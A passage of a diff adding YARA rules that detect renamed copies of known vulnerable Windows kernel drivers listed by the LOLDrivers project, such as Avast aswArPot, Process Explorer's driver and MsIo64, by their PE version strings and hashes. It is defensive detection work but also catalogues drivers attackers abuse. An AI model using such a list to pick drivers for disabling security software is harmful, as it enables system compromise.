+		hash = "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a"
+		date = "2023-06-14"
+		score = 70
+		id = "76145e28-0c1d-5916-b966-0ce7dcad8a90"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Dtresearchinc_Iomemsys_Iomemsys_3D23 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4"
+		date = "2023-06-14"
+		score = 70
+		id = "fae3ff35-0e7c-542f-85c1-8fecca9078f3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 } /* FileDescription DTRKernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e } /* CompanyName DTResearchInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* InternalName iomemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* ProductName iomemsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* OriginalFilename iomemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright DTResearchIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iomem64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sisoftware_Sandra_Sisoftwaresandra_496F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b"
+		date = "2023-06-14"
+		score = 70
+		id = "71498e5d-a30f-5501-a45f-3c01f1dac039"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0035002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0035002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300036002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /SANDRA/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_1B00 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e"
+		hash = "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5"
+		date = "2023-06-14"
+		score = 70
+		id = "0c8db0c4-24fa-5a66-b60d-f121a535f14a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Multitheftauto_Mtasanandreas_9F4C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FairplayKD.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5"
+		date = "2023-06-14"
+		score = 70
+		id = "5f75950b-3802-55d5-ad51-37ab9c31d5e4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0075006c007400690020005400680065006600740020004100750074006f0020007000610074006300680020006400720069007600650072 } /* FileDescription MultiTheftAutopatchdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0075006c007400690020005400680065006600740020004100750074006f } /* CompanyName MultiTheftAuto */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00540041002000530061006e00200041006e00640072006500610073 } /* ProductName MTASanAndreas */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003000330020002d002000320030003100370020004d0075006c007400690020005400680065006600740020004100750074006f } /* LegalCopyright CMultiTheftAuto */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /FairplayKD/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_2732 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2732050a7d836ae0bdc5c0aea4cdf8ce205618c3e7f613b8139c176e86476d0c"
+		date = "2023-06-14"
+		score = 70
+		id = "be9dd90a-22ec-5981-8f8e-16cfd2b9b824"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_EF6D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ef6d3c00f9d0aa31a218094480299ef73fc85146adf62fd0c2f4f88972c5c850"
+		date = "2023-06-14"
+		score = 70
+		id = "0648fea6-a29e-5cc4-bdf9-e74966dbeb71"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000380030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Microfocus_Microfocusxtier_95D5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
+		date = "2023-06-14"
+		score = 70
+		id = "8e5947fc-33c2-53c4-b9cb-548373df35dc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription XTierCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 } /* CompanyName MicroFocus */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 } /* ProductName MicroFocusXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightMicroFocusAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /libnicm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E3EF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918"
+		date = "2023-06-14"
+		score = 70
+		id = "d5efbb84-070c-5caa-92c0-d320088d2e73"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Arthurliberman_Alsysiosys_Alsysio_7F37 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa"
+		date = "2023-06-14"
+		score = 70
+		id = "323095b4-4fee-5c73-99f1-fe1142889cea"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ALSysIO64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Panyazilimbilisimteknolojileriticltdsti_Paniosys_Paniolibrary_F596 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f596e64f4c5d7c37a00493728d8756b243cfdc11e3372d6d6dfeffc13c9ab960"
+		date = "2023-06-14"
+		score = 70
+		id = "0c9f3005-da64-5545-b9d3-4c9c43152dca"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 } /* FileDescription Temperatureandsysteminformationdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f002e007300790073 } /* InternalName PanIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 } /* ProductName PanIOLibrary */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f002e007300790073 } /* OriginalFilename PanIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazilimBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /PanIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_1768 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca"
+		date = "2023-06-14"
+		score = 70
+		id = "67cbef32-1033-55ff-8a49-b12ee01e6800"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_9A54 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7"
+		date = "2023-06-14"
+		score = 70
+		id = "6f5fdb7c-ed88-5e1f-9f03-d86bf9646ee2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0031002e0034003100330032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Oti_Otipcibussys_Kernelmodedrivertoaccessphysicalmemoryandports_4E3E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - otipcibus.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80"
+		date = "2023-06-14"
+		score = 70
+		id = "98494db9-778d-531c-9688-535d539cd953"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200041006300630065007300730020004400720069007600650072 } /* FileDescription HardwareAccessDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00540069 } /* CompanyName OTi */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031003000300030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 } /* InternalName otipcibussys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200054006f002000410063006300650073007300200050006800790073006900630061006c0020004d0065006d006f0072007900200041006e006400200050006f007200740073 } /* ProductName KernelModeDriverToAccessPhysicalMemoryAndPorts */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006f0074006900700063006900620075007300360034002e007300790073 } /* OriginalFilename otipcibussys */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /otipcibus/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_DCB8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dcb815eb8e9016608d0d917101b6af8c84b96fb709dc0344bceed02cbc4ed258"
+		date = "2023-06-14"
+		score = 70
+		id = "f6bf8995-aba2-52ff-ba26-eabbef6933bd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_CFCF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab"
+		date = "2023-06-14"
+		score = 70
+		id = "a40d5b51-bdcd-5ca9-b708-220f0d3e5c83"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 } /* FileDescription MICSYSIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 } /* ProductName MsIoDriverVersion */
